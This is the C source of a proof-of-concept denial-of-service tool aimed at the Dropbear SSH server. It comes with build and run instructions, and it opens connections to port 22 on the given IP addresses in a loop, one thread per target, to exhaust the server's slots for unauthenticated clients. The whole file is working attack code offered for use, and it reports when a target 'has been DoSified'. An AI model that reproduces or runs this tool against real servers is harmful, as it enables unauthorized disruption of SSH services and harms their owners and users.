/**
 * dropbear-PoC.c -- Probe of Concept, DoS Dropbear SSH server
 *
 * Author: Pablo Fernandez <pablo at littleQ.net>
 *
 * gcc dropbear-PoC.c -o dropbear-PoC -lpthread
 * ./dropbear-PoC -v 192.168.0.1
 *
 **/
/***************************************************************************
 *                                                                         *
 *   This program is free software; you can redistribute it and/or modify  *
 *   it under the terms of the GNU General Public License as published by  *
 *   the Free Software Foundation; either version 2 of the License, or     *
 *   (at your option) any later version.                                   *
 *                                                                         *
 *   This program is distributed in the hope that it will be useful,       *
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *
 *   GNU General Public License for more details.                          *
 *                                                                         *
 ***************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>

#define MAX_SOCKS 0xfff
#define PORT 22
#define TIMEOUT_IN_MSECS 5000 /* 5 seconds... */

struct data {
  int max_unauth_clients;
  int port;
  int verbose;
  char *host;
};

void show_help (const char *name)
{
  fprintf(stderr, "Usage %s [OPTIONS] host1 [hostN...]\n"
      "\n"
      "Options:\n"
      "\t--help, -h                      - This help\n"
      "\t--port, -p [PORT]               - Port to connect to (defaults to %d)\n"
      "\t--verbose, -v                   - Verbose level (can be used multiple times)\n"
      "\n"
      "Note that hosts should be specified using IP addresses, not hostnames\n",
      name, PORT);

  exit(1);
}

void *DoS (void *data)
{
  struct data *d;
  struct sockaddr_in sa;
  int sock;
  int killed = 0;
  struct pollfd fd;
  struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
  int retval;
  int i = 0;

  d = (struct data*) data;

  if (d->verbose > 1)
    printf("[*] Target: %s\n", d->host);

  sa.sin_family      = AF_INET;
  sa.sin_addr.s_addr = inet_addr(d->host);
  sa.sin_port        = htons(d->port);

  while (1) {
    if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
      fprintf(stderr, "[!] Unable to create socket\n");
      break;
    }

    if (connect(sock, (struct sockaddr*) &sa, sizeof(sa)) < 0) {
      fprintf(stderr, "[!] %s: Unable to connect\n", d->host);
      break;
    }

    memset(&fd, 0, sizeof(struct pollfd));
    
    fd.fd      = sock;
    fd.events  = POLLIN;

    if ((retval = poll(&fd, 2, TIMEOUT_IN_MSECS)) < 0) {
      perror("poll");
      return NULL;
    }

    if (fd.revents & POLLIN) {
      char buf[512];

      memset(buf, 0, sizeof(buf));
      read(sock, &buf, sizeof(buf));

      if (buf[0] != 0) {
        if (killed) {
          if (d->verbose > 0)
            printf("[!] %s is back up\n", d->host);
        } else if (d->verbose > 1)
          printf("[+] %s: connected %2d, %d\n", d->host, i++, fd.revents);
        
        killed = 0;
      } else
        goto err;
    } else if (fd.revents & (POLLERR | POLLHUP)) {
err:
      if (!killed && d->verbose > 0)
        printf("[+] %s has been DoSified\n", d->host);

      killed = 1;
    }

    if (killed)
      sleep(5);
  }
  
  return NULL;
}

int main (int argc, char **argv)
{
  int port = PORT;
  int verbose = 0;
  int opt;
  char *host;
  pthread_t *threads = NULL;
  int targets = 0;
  int i;
  struct data *d;
  
  printf("\n");
  printf("DropBear SSH Server DoS PoC\n");
  printf("  -- by Pablo Fernandez <pablo at littleQ.net>\n\n");

  while (1) {
    static struct option options[] = {
      { "help", 0, 0, 'h' },
      { "port", 1, 0, 'p' },
      { "verbose", 0, 0, 'v' },
      { 0, 0, 0, 0 }
    };
    int a;

    if ((opt = getopt_long(argc, argv, "hp:v", options, &a)) < 0)
      break;

    switch (opt) {
      default:
      case 'h':
        show_help(argv[0]);
        break;
      case 'p':
        port = atoi(optarg);
        break;
      case 'v':
        verbose++;
        break;
    }
  }

  if (optind >= argc) {
    fprintf(stderr, "\nError: Host not specified\n\n");
    show_help(argv[0]);
    return 0;
  }

  targets = argc - optind;

  if ((threads = (pthread_t*) malloc(targets * sizeof(pthread_t))) < 0) {
    perror("malloc");
    return 1;
  }

  if (verbose > 2)
    printf("[*] %d targets\n", targets);

  for (i = 0; optind < argc; i++) {
    host = argv[optind++];

    d = (struct data*) malloc(sizeof(struct data));
    d->port               = port;
    d->verbose            = verbose;
    d->host               = strdup(host);

    pthread_create(&(threads[i]), NULL, DoS, d);
  }

  for (i = 0; i < targets; i++) {
    pthread_join(threads[i], NULL);
  }

  return 0;
}